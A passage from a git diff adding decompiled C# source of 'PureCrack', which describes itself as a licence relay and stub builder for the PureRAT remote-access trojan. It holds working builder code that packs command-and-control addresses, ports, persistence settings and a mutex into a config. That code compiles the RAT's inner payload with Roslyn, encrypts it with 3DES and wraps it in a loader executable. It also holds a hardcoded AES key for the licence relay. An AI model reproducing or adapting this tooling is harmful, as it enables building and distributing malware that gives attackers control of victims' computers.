b/decompiled/costura.system.buffers.dll.compressed differ diff --git a/decompiled/costura.system.collections.immutable.dll.compressed b/decompiled/costura.system.collections.immutable.dll.compressed new file mode 100644 index 0000000..a5c51b0 Binary files /dev/null and b/decompiled/costura.system.collections.immutable.dll.compressed differ diff --git a/decompiled/costura.system.diagnostics.diagnosticsource.dll.compressed b/decompiled/costura.system.diagnostics.diagnosticsource.dll.compressed new file mode 100644 index 0000000..62ab62f Binary files /dev/null and b/decompiled/costura.system.diagnostics.diagnosticsource.dll.compressed differ diff --git a/decompiled/costura.system.memory.dll.compressed b/decompiled/costura.system.memory.dll.compressed new file mode 100644 index 0000000..ecac341 Binary files /dev/null and b/decompiled/costura.system.memory.dll.compressed differ diff --git a/decompiled/costura.system.numerics.vectors.dll.compressed b/decompiled/costura.system.numerics.vectors.dll.compressed new file mode 100644 index 0000000..2ee7b85 Binary files /dev/null and b/decompiled/costura.system.numerics.vectors.dll.compressed differ diff --git a/decompiled/costura.system.reflection.metadata.dll.compressed b/decompiled/costura.system.reflection.metadata.dll.compressed new file mode 100644 index 0000000..e4716e3 Binary files /dev/null and b/decompiled/costura.system.reflection.metadata.dll.compressed differ diff --git a/decompiled/costura.system.runtime.compilerservices.unsafe.dll.compressed b/decompiled/costura.system.runtime.compilerservices.unsafe.dll.compressed new file mode 100644 index 0000000..e5d1d75 Binary files /dev/null and b/decompiled/costura.system.runtime.compilerservices.unsafe.dll.compressed differ diff --git a/decompiled/costura.system.text.encoding.codepages.dll.compressed b/decompiled/costura.system.text.encoding.codepages.dll.compressed new file mode 100644 index 0000000..eb57ad6 Binary files /dev/null and b/decompiled/costura.system.text.encoding.codepages.dll.compressed differ diff --git a/decompiled/costura.system.text.encodings.web.dll.compressed b/decompiled/costura.system.text.encodings.web.dll.compressed new file mode 100644 index 0000000..9fe51d6 Binary files /dev/null and b/decompiled/costura.system.text.encodings.web.dll.compressed differ diff --git a/decompiled/costura.system.text.json.dll.compressed b/decompiled/costura.system.text.json.dll.compressed new file mode 100644 index 0000000..dfffc36 Binary files /dev/null and b/decompiled/costura.system.text.json.dll.compressed differ diff --git a/decompiled/costura.system.threading.tasks.extensions.dll.compressed b/decompiled/costura.system.threading.tasks.extensions.dll.compressed new file mode 100644 index 0000000..73df6da Binary files /dev/null and b/decompiled/costura.system.threading.tasks.extensions.dll.compressed differ diff --git a/decompiled/costura.system.valuetuple.dll.compressed b/decompiled/costura.system.valuetuple.dll.compressed new file mode 100644 index 0000000..37f5426 Binary files /dev/null and b/decompiled/costura.system.valuetuple.dll.compressed differ diff --git a/decompiled/costura.tr.microsoft.codeanalysis.csharp.resources.dll.compressed b/decompiled/costura.tr.microsoft.codeanalysis.csharp.resources.dll.compressed new file mode 100644 index 0000000..e17ed5f Binary files /dev/null and b/decompiled/costura.tr.microsoft.codeanalysis.csharp.resources.dll.compressed differ diff --git a/decompiled/costura.tr.microsoft.codeanalysis.resources.dll.compressed b/decompiled/costura.tr.microsoft.codeanalysis.resources.dll.compressed new file mode 100644 index 0000000..97a56c3 Binary files /dev/null and b/decompiled/costura.tr.microsoft.codeanalysis.resources.dll.compressed differ diff --git a/decompiled/costura.zh-hans.microsoft.codeanalysis.csharp.resources.dll.compressed b/decompiled/costura.zh-hans.microsoft.codeanalysis.csharp.resources.dll.compressed new file mode 100644 index 0000000..4a0241e Binary files /dev/null and b/decompiled/costura.zh-hans.microsoft.codeanalysis.csharp.resources.dll.compressed differ diff --git a/decompiled/costura.zh-hans.microsoft.codeanalysis.resources.dll.compressed b/decompiled/costura.zh-hans.microsoft.codeanalysis.resources.dll.compressed new file mode 100644 index 0000000..edc7143 Binary files /dev/null and b/decompiled/costura.zh-hans.microsoft.codeanalysis.resources.dll.compressed differ diff --git a/decompiled/costura.zh-hant.microsoft.codeanalysis.csharp.resources.dll.compressed b/decompiled/costura.zh-hant.microsoft.codeanalysis.csharp.resources.dll.compressed new file mode 100644 index 0000000..d0e3cf8 Binary files /dev/null and b/decompiled/costura.zh-hant.microsoft.codeanalysis.csharp.resources.dll.compressed differ diff --git a/decompiled/costura.zh-hant.microsoft.codeanalysis.resources.dll.compressed b/decompiled/costura.zh-hant.microsoft.codeanalysis.resources.dll.compressed new file mode 100644 index 0000000..728c41e Binary files /dev/null and b/decompiled/costura.zh-hant.microsoft.codeanalysis.resources.dll.compressed differ diff --git a/decompiled/decompile me.csproj b/decompiled/decompile me.csproj new file mode 100644 index 0000000..3a8f38a --- /dev/null +++ b/decompiled/decompile me.csproj @@ -0,0 +1,192 @@ + + + PureCrack + False + Exe + net472 + x64 + + + 14.0 + True + False + + + app.manifest + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + ../../../../../usr/local/share/dotnet/shared/Microsoft.NETCore.App/10.0.5/System.Core.dll + + + + + + + \ No newline at end of file diff --git a/decompiled/purerat decompiled/.DS_Store b/decompiled/purerat decompiled/.DS_Store new file mode 100644 index 0000000..7c7e805 Binary files /dev/null and b/decompiled/purerat decompiled/.DS_Store differ diff --git a/decompiled/purerat decompiled/Costura/AssemblyLoader.cs b/decompiled/purerat decompiled/Costura/AssemblyLoader.cs new file mode 100644 index 0000000..41fe403 --- /dev/null +++ b/decompiled/purerat decompiled/Costura/AssemblyLoader.cs @@ -0,0 +1,207 @@ +using System; +using System.Collections.Generic; +using System.Globalization; +using System.IO; +using System.IO.Compression; +using System.Reflection; +using System.Runtime.CompilerServices; +using System.Threading; + +namespace Costura; + +[CompilerGenerated] +internal static class AssemblyLoader +{ + private static object nullCacheLock = new object(); + + private static Dictionary nullCache = new Dictionary(); + + private static Dictionary assemblyNames = new Dictionary(); + + private static Dictionary symbolNames = new Dictionary(); + + private static int isAttached; + + private static string CultureToString(CultureInfo culture) + { + if (culture == null) + { + return ""; + } + return culture.Name; + } + + private static Assembly ReadExistingAssembly(AssemblyName name) + { + AppDomain currentDomain = AppDomain.CurrentDomain; + Assembly[] assemblies = currentDomain.GetAssemblies(); + Assembly[] array = assemblies; + foreach (Assembly assembly in array) + { + AssemblyName name2 = assembly.GetName(); + if (string.Equals(name2.Name, name.Name, StringComparison.InvariantCultureIgnoreCase) && string.Equals(CultureToString(name2.CultureInfo), CultureToString(name.CultureInfo), StringComparison.InvariantCultureIgnoreCase)) + { + return assembly; + } + } + return null; + } + + private static void CopyTo(Stream source, Stream destination) + { + byte[] array = new byte[81920]; + int count; + while ((count = source.Read(array, 0, array.Length)) != 0) + { + destination.Write(array, 0, count); + } + } + + private static Stream LoadStream(string fullName) + { + Assembly executingAssembly = Assembly.GetExecutingAssembly(); + if (fullName.EndsWith(".compressed")) + { + using (Stream stream = executingAssembly.GetManifestResourceStream(fullName)) + { + using DeflateStream source = new DeflateStream(stream, CompressionMode.Decompress); + MemoryStream memoryStream = new MemoryStream(); + CopyTo(source, memoryStream); + memoryStream.Position = 0L; + return memoryStream; + } + } + return executingAssembly.GetManifestResourceStream(fullName); + } + + private static Stream LoadStream(Dictionary resourceNames, string name) + { + if (resourceNames.TryGetValue(name, out var value)) + { + return LoadStream(value); + } + return null; + } + + private static byte[] ReadStream(Stream stream) + { + byte[] array = new byte[stream.Length]; + stream.Read(array, 0, array.Length); + return array; + } + + private static Assembly ReadFromEmbeddedResources(Dictionary assemblyNames, Dictionary symbolNames, AssemblyName requestedAssemblyName) + { + string text = requestedAssemblyName.Name.ToLowerInvariant(); + if (requestedAssemblyName.CultureInfo != null && !string.IsNullOrEmpty(requestedAssemblyName.CultureInfo.Name)) + { + text = requestedAssemblyName.CultureInfo.Name + "." + text; + } + byte[] rawAssembly; + using (Stream stream = LoadStream(assemblyNames, text)) + { + if (stream == null) + { + return null; + } + rawAssembly = ReadStream(stream); + } + using (Stream stream2 = LoadStream(symbolNames, text)) + { + if (stream2 != null) + { + byte[] rawSymbolStore = ReadStream(stream2); + return Assembly.Load(rawAssembly, rawSymbolStore); + } + } + return Assembly.Load(rawAssembly); + } + + public static Assembly ResolveAssembly(object sender, ResolveEventArgs e) + { + lock (nullCacheLock) + { + if (nullCache.ContainsKey(e.Name)) + { + return null; + } + } + AssemblyName assemblyName = new AssemblyName(e.Name); + Assembly assembly = ReadExistingAssembly(assemblyName); + if ((object)assembly != null) + { + return assembly; + } + assembly = ReadFromEmbeddedResources(assemblyNames, symbolNames, assemblyName); + if ((object)assembly == null) + { + lock (nullCacheLock) + { + nullCache[e.Name] = true; + } + if ((assemblyName.Flags & AssemblyNameFlags.Retargetable) != AssemblyNameFlags.None) + { + assembly = Assembly.Load(assemblyName); + } + } + return assembly; + } + + static AssemblyLoader() + { + assemblyNames.Add("costura", "costura.costura.dll.compressed"); + symbolNames.Add("costura", "costura.costura.pdb.compressed"); + assemblyNames.Add("cs.microsoft.codeanalysis.csharp.resources", "costura.cs.microsoft.codeanalysis.csharp.resources.dll.compressed"); + assemblyNames.Add("cs.microsoft.codeanalysis.resources", "costura.cs.microsoft.codeanalysis.resources.dll.compressed"); + assemblyNames.Add("de.microsoft.codeanalysis.csharp.resources", "costura.de.microsoft.codeanalysis.csharp.resources.dll.compressed"); + assemblyNames.Add("de.microsoft.codeanalysis.resources", "costura.de.microsoft.codeanalysis.resources.dll.compressed"); + assemblyNames.Add("es.microsoft.codeanalysis.csharp.resources", "costura.es.microsoft.codeanalysis.csharp.resources.dll.compressed"); + assemblyNames.Add("es.microsoft.codeanalysis.resources", "costura.es.microsoft.codeanalysis.resources.dll.compressed"); + assemblyNames.Add("fr.microsoft.codeanalysis.csharp.resources", "costura.fr.microsoft.codeanalysis.csharp.resources.dll.compressed"); + assemblyNames.Add("fr.microsoft.codeanalysis.resources", "costura.fr.microsoft.codeanalysis.resources.dll.compressed"); + assemblyNames.Add("it.microsoft.codeanalysis.csharp.resources", "costura.it.microsoft.codeanalysis.csharp.resources.dll.compressed"); + assemblyNames.Add("it.microsoft.codeanalysis.resources", "costura.it.microsoft.codeanalysis.resources.dll.compressed"); + assemblyNames.Add("ja.microsoft.codeanalysis.csharp.resources", "costura.ja.microsoft.codeanalysis.csharp.resources.dll.compressed"); + assemblyNames.Add("ja.microsoft.codeanalysis.resources", "costura.ja.microsoft.codeanalysis.resources.dll.compressed"); + assemblyNames.Add("ko.microsoft.codeanalysis.csharp.resources", "costura.ko.microsoft.codeanalysis.csharp.resources.dll.compressed"); + assemblyNames.Add("ko.microsoft.codeanalysis.resources", "costura.ko.microsoft.codeanalysis.resources.dll.compressed"); + assemblyNames.Add("microsoft.bcl.asyncinterfaces", "costura.microsoft.bcl.asyncinterfaces.dll.compressed"); + assemblyNames.Add("microsoft.codeanalysis.csharp", "costura.microsoft.codeanalysis.csharp.dll.compressed"); + symbolNames.Add("microsoft.codeanalysis.csharp", "costura.microsoft.codeanalysis.csharp.pdb.compressed"); + assemblyNames.Add("microsoft.codeanalysis", "costura.microsoft.codeanalysis.dll.compressed"); + symbolNames.Add("microsoft.codeanalysis", "costura.microsoft.codeanalysis.pdb.compressed"); + assemblyNames.Add("pl.microsoft.codeanalysis.csharp.resources", "costura.pl.microsoft.codeanalysis.csharp.resources.dll.compressed"); + assemblyNames.Add("pl.microsoft.codeanalysis.resources", "costura.pl.microsoft.codeanalysis.resources.dll.compressed"); + assemblyNames.Add("pt-br.microsoft.codeanalysis.csharp.resources", "costura.pt-br.microsoft.codeanalysis.csharp.resources.dll.compressed"); + assemblyNames.Add("pt-br.microsoft.codeanalysis.resources", "costura.pt-br.microsoft.codeanalysis.resources.dll.compressed"); + assemblyNames.Add("ru.microsoft.codeanalysis.csharp.resources", "costura.ru.microsoft.codeanalysis.csharp.resources.dll.compressed"); + assemblyNames.Add("ru.microsoft.codeanalysis.resources", "costura.ru.microsoft.codeanalysis.resources.dll.compressed"); + assemblyNames.Add("system.buffers", "costura.system.buffers.dll.compressed"); + assemblyNames.Add("system.collections.immutable", "costura.system.collections.immutable.dll.compressed"); + assemblyNames.Add("system.diagnostics.diagnosticsource", "costura.system.diagnostics.diagnosticsource.dll.compressed"); + assemblyNames.Add("system.memory", "costura.system.memory.dll.compressed"); + assemblyNames.Add("system.numerics.vectors", "costura.system.numerics.vectors.dll.compressed"); + assemblyNames.Add("system.reflection.metadata", "costura.system.reflection.metadata.dll.compressed"); + assemblyNames.Add("system.runtime.compilerservices.unsafe", "costura.system.runtime.compilerservices.unsafe.dll.compressed"); + assemblyNames.Add("system.text.encoding.codepages", "costura.system.text.encoding.codepages.dll.compressed"); + assemblyNames.Add("system.text.encodings.web", "costura.system.text.encodings.web.dll.compressed"); + assemblyNames.Add("system.text.json", "costura.system.text.json.dll.compressed"); + assemblyNames.Add("system.threading.tasks.extensions", "costura.system.threading.tasks.extensions.dll.compressed"); + assemblyNames.Add("system.valuetuple", "costura.system.valuetuple.dll.compressed"); + assemblyNames.Add("tr.microsoft.codeanalysis.csharp.resources", "costura.tr.microsoft.codeanalysis.csharp.resources.dll.compressed"); + assemblyNames.Add("tr.microsoft.codeanalysis.resources", "costura.tr.microsoft.codeanalysis.resources.dll.compressed"); + assemblyNames.Add("zh-hans.microsoft.codeanalysis.csharp.resources", "costura.zh-hans.microsoft.codeanalysis.csharp.resources.dll.compressed"); + assemblyNames.Add("zh-hans.microsoft.codeanalysis.resources", "costura.zh-hans.microsoft.codeanalysis.resources.dll.compressed"); + assemblyNames.Add("zh-hant.microsoft.codeanalysis.csharp.resources", "costura.zh-hant.microsoft.codeanalysis.csharp.resources.dll.compressed"); + assemblyNames.Add("zh-hant.microsoft.codeanalysis.resources", "costura.zh-hant.microsoft.codeanalysis.resources.dll.compressed"); + } + + public static void Attach() + { + if (Interlocked.Exchange(ref isAttached, 1) != 1) + { + AppDomain currentDomain = AppDomain.CurrentDomain; + currentDomain.AssemblyResolve += ResolveAssembly; + } + } +} diff --git a/decompiled/purerat decompiled/Properties/AssemblyInfo.cs b/decompiled/purerat decompiled/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..c5b0430 --- /dev/null +++ b/decompiled/purerat decompiled/Properties/AssemblyInfo.cs @@ -0,0 +1,13 @@ +using System.Diagnostics; +using System.Reflection; +using System.Runtime.CompilerServices; +using System.Runtime.Versioning; + +[assembly: AssemblyCompany("PureCrack")] +[assembly: AssemblyConfiguration("Release")] +[assembly: AssemblyDescription("PureRAT v4.0.9596 licence relay + dynamic stub builder.")] +[assembly: AssemblyFileVersion("2.0.0.0")] +[assembly: AssemblyInformationalVersion("2.0.0+f0cbf60b04cd522b4fed89230e7a1f3d82d29257")] +[assembly: AssemblyProduct("PureCrack")] +[assembly: AssemblyTitle("PureCrack")] +[assembly: AssemblyVersion("2.0.0.0")] diff --git a/decompiled/purerat decompiled/PureCrack.Build/BuildConfig.cs b/decompiled/purerat decompiled/PureCrack.Build/BuildConfig.cs new file mode 100644 index 0000000..478e6f9 --- /dev/null +++ b/decompiled/purerat decompiled/PureCrack.Build/BuildConfig.cs @@ -0,0 +1,26 @@ +using System.Collections.Generic; + +namespace PureCrack.Build; + +public sealed class BuildConfig +{ + public List Ips { get; init; } = new List { "127.0.0.1" }; + + public List Ports { get; init; } = new List { 56001 }; + + public string CertPfxBase64 { get; init; } = ""; + + public string Group { get; init; } = "Default"; + + public bool B0 { get; init; } + + public bool B1 { get; init; } + + public string StartupName { get; init; } = ""; + + public string StartupEnv { get; init; } = ""; + + public string Mutex { get; init; } = "purecrack-default"; + + public bool B2 { get; init; } +} diff --git a/decompiled/purerat decompiled/PureCrack.Build/InnerProto.cs b/decompiled/purerat decompiled/PureCrack.Build/InnerProto.cs new file mode 100644 index 0000000..c5c0bfc --- /dev/null +++ b/decompiled/purerat decompiled/PureCrack.Build/InnerProto.cs @@ -0,0 +1,70 @@ +using System; +using System.Collections.Generic; +using PureCrack.Crypto; +using PureCrack.Wire; + +namespace PureCrack.Build; + +public static class InnerProto +{ + public const string Placeholder = "H4sIAAAAAAAACgMAAAAAAAAAAAA="; + + public static byte[] EncodeGClass3(BuildConfig cfg) + { + List list = new List(); + foreach (string ip in cfg.Ips) + { + list.Add(ProtoNet.FString(1, ip)); + } + foreach (int port in cfg.Ports) + { + list.Add(ProtoNet.FInt(2, port)); + } + if (!string.IsNullOrEmpty(cfg.CertPfxBase64)) + { + list.Add(ProtoNet.FString(3, cfg.CertPfxBase64)); + } + if (!string.IsNullOrEmpty(cfg.Group)) + { + list.Add(ProtoNet.FString(4, cfg.Group)); + } + list.Add(ProtoNet.FBool(5, cfg.B0)); + list.Add(ProtoNet.FBool(6, cfg.B1)); + if (!string.IsNullOrEmpty(cfg.StartupName)) + { + list.Add(ProtoNet.FString(7, cfg.StartupName)); + } + if (!string.IsNullOrEmpty(cfg.StartupEnv)) + { + list.Add(ProtoNet.FString(8, cfg.StartupEnv)); + } + if (!string.IsNullOrEmpty(cfg.Mutex)) + { + list.Add(ProtoNet.FString(9, cfg.Mutex)); + } + list.Add(ProtoNet.FBool(10, cfg.B2)); + int num = 0; + foreach (byte[] item in list) + { + num += item.Length; + } + byte[] array = new byte[num]; + int num2 = 0; + foreach (byte[] item2 in list) + { + Buffer.BlockCopy(item2, 0, array, num2, item2.Length); + num2 += item2.Length; + } + return array; + } + + public static byte[] WrapAsGClass2(byte[] gclass3Body) + { + return ProtoNet.FSub(38, gclass3Body); + } + + public static string EncodeAndPackage(BuildConfig cfg) + { + return Convert.ToBase64String(Symmetric.Gzip(WrapAsGClass2(EncodeGClass3(cfg)))); + } +} diff --git a/decompiled/purerat decompiled/PureCrack.Build/StubBuilder.cs b/decompiled/purerat decompiled/PureCrack.Build/StubBuilder.cs new file mode 100644 index 0000000..ef81220 --- /dev/null +++ b/decompiled/purerat decompiled/PureCrack.Build/StubBuilder.cs @@ -0,0 +1,137 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Diagnostics; +using System.IO; +using System.Linq; +using System.Text; +using System.Threading; +using Microsoft.CodeAnalysis; +using Microsoft.CodeAnalysis.CSharp; +using Microsoft.CodeAnalysis.Emit; +using PureCrack.Crypto; +using PureCrack.Util; + +namespace PureCrack.Build; + +public static class StubBuilder +{ + public static byte[] Build(BuildConfig cfg) + { + Log.Section("build stub: ips=[" + string.Join(",", cfg.Ips) + "] ports=[" + string.Join(",", cfg.Ports) + "] group=" + cfg.Group + " mutex=" + cfg.Mutex); + Stopwatch stopwatch = Stopwatch.StartNew(); + Log.Bullet("1/5 encode + wrap + gzip + base64 GClass3"); + string text = InnerProto.EncodeAndPackage(cfg); + Log.Bullet($" config blob = {text.Length:N0} chars"); + Log.Bullet("2/5 stage 32 inner sources"); + IReadOnlyDictionary sources = StageInnerSources(text); + Log.Bullet("3/5 Roslyn → inner.dll"); + byte[] array = CompileInnerDll(sources); + Log.Bullet($" inner.dll = {array.Length:N0}b"); + Log.Bullet("4/5 gzip + 3DES wrap"); + var (array2, inArray, inArray2) = EncryptInner(array); + Log.Bullet($" encrypted = {array2.Length:N0}b"); + Log.Bullet("5/5 Roslyn → outer.exe"); + byte[] array3 = CompileOuterExe(EmbeddedAssets.LoaderTemplate.Replace("__KEY_B64__", Convert.ToBase64String(inArray)).Replace("__IV_B64__", Convert.ToBase64String(inArray2)), array2, EmbeddedAssets.ProtobufNetDll); + Log.Ok($"build done in {stopwatch.Elapsed.TotalSeconds:F1}s — outer.exe = {array3.Length:N0}b"); + return array3; + } + + private static IReadOnlyDictionary StageInnerSources(string configB64) + { + Dictionary dictionary = EmbeddedAssets.InnerSources.ToDictionary, string, string>((KeyValuePair kv) => kv.Key, (KeyValuePair kv) => kv.Value, StringComparer.OrdinalIgnoreCase); + if (!dictionary.TryGetValue("Class9.cs", out var value)) + { + throw new InvalidOperationException("Class9.cs missing from embedded inner sources — corrupted EXE?"); + } + if (!value.Contains("H4sIAAAAAAAACgMAAAAAAAAAAAA=")) + { + throw new InvalidOperationException("placeholder 'H4sIAAAAAAAACgMAAAAAAAAAAAA=' not found in Class9.cs — inner sources don't match expected v4.0.9596 layout"); + } + dictionary["Class9.cs"] = value.Replace("H4sIAAAAAAAACgMAAAAAAAAAAAA=", configB64); + return dictionary; + } + + private static (byte[] encrypted, byte[] key, byte[] iv) EncryptInner(byte[] innerDll) + { + byte[] array = Symmetric.Gzip(innerDll); + byte[] array2 = new byte[4 + array.Length]; + array2[0] = (byte)(innerDll.Length & 0xFF); + array2[1] = (byte)((innerDll.Length >> 8) & 0xFF); + array2[2] = (byte)((innerDll.Length >> 16) & 0xFF); + array2[3] = (byte)((innerDll.Length >> 24) & 0xFF); + Buffer.BlockCopy(array, 0, array2, 4, array.Length); + byte[] array3 = Symmetric.RandomBytes(24); + byte[] array4 = Symmetric.RandomBytes(8); + return (encrypted: Symmetric.TripleDesEncrypt(array2, array3, array4), key: array3, iv: array4); + } + + private static byte[] CompileInnerDll(IReadOnlyDictionary sources) + { + //IL_0062: Unknown result type (might be due to invalid IL or missing references) + //IL_0068: Unknown result type (might be due to invalid IL or missing references) + //IL_0082: Unknown result type (might be due to invalid IL or missing references) + //IL_0088: Unknown result type (might be due to invalid IL or missing references) + //IL_00a2: Unknown result type (might be due to invalid IL or missing references) + //IL_00a8: Expected O, but got Unknown + List list = (from kv in sources + orderby kv.Key + select CSharpSyntaxTree.ParseText(kv.Value, (CSharpParseOptions)null, kv.Key, (Encoding)null, default(CancellationToken))).ToList(); + List list2 = GetBclReferences().ToList(); + list2.Add((MetadataReference)(object)MetadataReference.CreateFromImage((IEnumerable)EmbeddedAssets.ProtobufNetDll, default(MetadataReferenceProperties), (DocumentationProvider)null, (string)null)); + CSharpCompilationOptions val = new CSharpCompilationOptions((OutputKind)2, false, (string)null, (string)null, (string)null, (IEnumerable)null, (OptimizationLevel)1, false, true, (string)null, (string)null, default(ImmutableArray), (bool?)null, (Platform)1, (ReportDiagnostic)0, 0, (IEnumerable>)null, true, true, (XmlReferenceResolver)null, (SourceReferenceResolver)null, (MetadataReferenceResolver)null, (AssemblyIdentityComparer)null, (StrongNameProvider)null, false, (MetadataImportOptions)0, (NullableContextOptions)0); + return EmitOrThrow(CSharpCompilation.Create("inner", (IEnumerable)list, (IEnumerable)list2, val), "inner.dll", null); + } + + private static byte[] CompileOuterExe(string loaderSource, byte[] encryptedInner, byte[] protobufNetDll) + { + //IL_0048: Unknown result type (might be due to invalid IL or missing references) + //IL_004e: Unknown result type (might be due to invalid IL or missing references) + //IL_0068: Unknown result type (might be due to invalid IL or missing references) + //IL_006e: Expected O, but got Unknown + //IL_00a0: Unknown result type (might be due to invalid IL or missing references) + //IL_00a6: Expected O, but got Unknown + //IL_00ba: Unknown result type (might be due to invalid IL or missing references) + //IL_00c0: Expected O, but got Unknown + SyntaxTree val = CSharpSyntaxTree.ParseText(loaderSource, (CSharpParseOptions)null, "Loader.cs", (Encoding)null, default(CancellationToken)); + List list = GetBclReferences().ToList(); + CSharpCompilationOptions val2 = new CSharpCompilationOptions((OutputKind)1, false, (string)null, "PCLoader", (string)null, (IEnumerable)null, (OptimizationLevel)1, false, false, (string)null, (string)null, default(ImmutableArray), (bool?)null, (Platform)1, (ReportDiagnostic)0, 0, (IEnumerable>)null, true, true, (XmlReferenceResolver)null, (SourceReferenceResolver)null, (MetadataReferenceResolver)null, (AssemblyIdentityComparer)null, (StrongNameProvider)null, false, (MetadataImportOptions)0, (NullableContextOptions)0); + CSharpCompilation comp = CSharpCompilation.Create("Loader", (IEnumerable)(object)new SyntaxTree[1] { val }, (IEnumerable)list, val2); + ResourceDescription[] resources = (ResourceDescription[])(object)new ResourceDescription[2] + { + new ResourceDescription("PayloadSource.zip", (Func)(() => new MemoryStream(encryptedInner)), false), + new ResourceDescription("protobuf-net.dll", (Func)(() => new MemoryStream(protobufNetDll)), false) + }; + return EmitOrThrow(comp, "Loader.exe", resources); + } + + private static byte[] EmitOrThrow(CSharpCompilation comp, string label, IEnumerable? resources) + { + //IL_0029: Unknown result type (might be due to invalid IL or missing references) + using MemoryStream memoryStream = new MemoryStream(); + EmitResult val = ((Compilation)comp).Emit((Stream)memoryStream, (Stream)null, (Stream)null, (Stream)null, resources, (EmitOptions)null, (IMethodSymbol)null, (Stream)null, (IEnumerable)null, (Stream)null, default(CancellationToken)); + if (!val.Success) + { + List values = (from d in ImmutableArrayExtensions.Where(val.Diagnostics, (Func)((Diagnostic d) => (int)d.Severity == 3)).Take(20) + select ((object)d).ToString()).ToList(); + throw new InvalidOperationException("Roslyn failed compiling " + label + ":\n " + string.Join("\n ", values)); + } + memoryStream.Position = 0L; + return memoryStream.ToArray(); + } + + private static IEnumerable GetBclReferences() + { + string bclPath = Path.GetDirectoryName(typeof(object).Assembly.Location) ?? throw new InvalidOperationException("can't resolve mscorlib directory"); + string[] array = new string[9] { "mscorlib.dll", "System.dll", "System.Core.dll", "System.Xml.dll", "System.Data.dll", "System.Management.dll", "System.Windows.Forms.dll", "System.Drawing.dll", "System.Runtime.Serialization.dll" }; + string[] array2 = array; + foreach (string path in array2) + { + string text = Path.Combine(bclPath, path); + if (File.Exists(text)) + { + yield return (MetadataReference)(object)MetadataReference.CreateFromFile(text, default(MetadataReferenceProperties), (DocumentationProvider)null); + } + } + } +} diff --git a/decompiled/purerat decompiled/PureCrack.Crypto/Symmetric.cs b/decompiled/purerat decompiled/PureCrack.Crypto/Symmetric.cs new file mode 100644 index 0000000..1aa8529 --- /dev/null +++ b/decompiled/purerat decompiled/PureCrack.Crypto/Symmetric.cs @@ -0,0 +1,167 @@ +using System; +using System.IO; +using System.IO.Compression; +using System.Security.Cryptography; + +namespace PureCrack.Crypto; + +public static class Symmetric +{ + public static readonly byte[] AesKey = HexToBytes("e6c43cc05d35fee7c8533d96203eeda357c65e85e30dbe622fad26fdfbb222a8"); + + public static byte[] AesEncrypt(byte[] plaintext, byte[] iv) + { + if (iv.Length != 16) + { + throw new ArgumentException("iv must be 16 bytes", "iv"); + } + using Aes aes = Aes.Create() ?? throw new InvalidOperationException("Aes.Create returned null"); + aes.Mode = CipherMode.CBC; + aes.Padding = PaddingMode.PKCS7; + aes.KeySize = 256; + aes.Key = AesKey; + aes.IV = iv; + using ICryptoTransform cryptoTransform = aes.CreateEncryptor(); + return cryptoTransform.TransformFinalBlock(plaintext, 0, plaintext.Length); + } + + public static byte[] AesDecrypt(byte[] ciphertext, byte[] iv) + { + if (iv.Length != 16) + { + throw new ArgumentException("iv must be 16 bytes", "iv"); + } + using Aes aes = Aes.Create() ?? throw new InvalidOperationException("Aes.Create returned null"); + aes.Mode = CipherMode.CBC; + aes.Padding = PaddingMode.PKCS7; + aes.KeySize = 256; + aes.Key = AesKey; + aes.IV = iv; + using ICryptoTransform cryptoTransform = aes.CreateDecryptor(); + return cryptoTransform.TransformFinalBlock(ciphertext, 0, ciphertext.Length); + } + + public static byte[] AesEncryptFraming(byte[] plaintext) + { + byte[] array = RandomBytes(16); + byte[] array2 = AesEncrypt(plaintext, array); + byte[] array3 = new byte[16 + array2.Length]; + Buffer.BlockCopy(array, 0, array3, 0, 16); + Buffer.BlockCopy(array2, 0, array3, 16, array2.Length); + return array3; + } + + public static byte[] AesDecryptFraming(byte[] framedBody) + { + if (framedBody.Length < 32) + { + throw new ArgumentException("framed body must be at least 32 bytes (IV + 1 block)"); + } + byte[] array = new byte[16]; + Buffer.BlockCopy(framedBody, 0, array, 0, 16); + byte[] array2 = new byte[framedBody.Length - 16]; + Buffer.BlockCopy(framedBody, 16, array2, 0, array2.Length); + return AesDecrypt(array2, array); + } + + public static byte[] TripleDesEncrypt(byte[] plaintext, byte[] key, byte[] iv) + { + if (key.Length != 24) + { + throw new ArgumentException("3DES key must be 24 bytes", "key"); + } + if (iv.Length != 8) + { + throw new ArgumentException("3DES iv must be 8 bytes", "iv"); + } + using TripleDES tripleDES = TripleDES.Create() ?? throw new InvalidOperationException("TripleDES.Create returned null"); + tripleDES.Mode = CipherMode.CBC; + tripleDES.Padding = PaddingMode.PKCS7; + tripleDES.Key = key; + tripleDES.IV = iv; + using ICryptoTransform cryptoTransform = tripleDES.CreateEncryptor(); + return cryptoTransform.TransformFinalBlock(plaintext, 0, plaintext.Length); + } + + public static byte[] RandomBytes(int n) + { + byte[] array = new byte[n]; + using RandomNumberGenerator randomNumberGenerator = RandomNumberGenerator.Create(); + randomNumberGenerator.GetBytes(array); + return array; + } + + public static byte[] Gzip(byte[] data) + { + using MemoryStream memoryStream = new MemoryStream(); + using (GZipStream gZipStream = new GZipStream(memoryStream, CompressionLevel.Optimal, leaveOpen: true)) + { + gZipStream.Write(data, 0, data.Length); + } + return memoryStream.ToArray(); + } + + public static byte[] HexToBytes(string hex) + { + if ((hex.Length & 1) != 0) + { + throw new ArgumentException("hex string must have even length", "hex"); + } + byte[] array = new byte[hex.Length / 2]; + for (int i = 0; i < array.Length; i++) + { + int num = HexNibble(hex[i * 2]); + int num2 = HexNibble(hex[i * 2 + 1]); + array[i] = (byte)((num << 4) | num2); + } + return array; + } + + private static int HexNibble(char c) + { + switch (c) + { + case '0': + case '1': + case '2': + case '3': + case '4': + case '5': + case '6': + case '7': + case '8': + case '9': + return c - 48; + case 'a': + case 'b': + case 'c': + case 'd': + case 'e': + case 'f': + return c - 97 + 10; + case 'A': + case 'B': + case 'C': + case 'D': + case 'E': + case 'F': + return c - 65 + 10; + default: + throw new FormatException($"non-hex char: {c}"); + } + } + + public static bool ConstantTimeEquals(byte[] a, byte[] b) + { + if (a.Length != b.Length) + { + return false; + } + int num = 0; + for (int i = 0; i < a.Length; i++) + { + num |= a[i] ^ b[i]; + } + return num == 0; + } +} diff --git a/decompiled/purerat 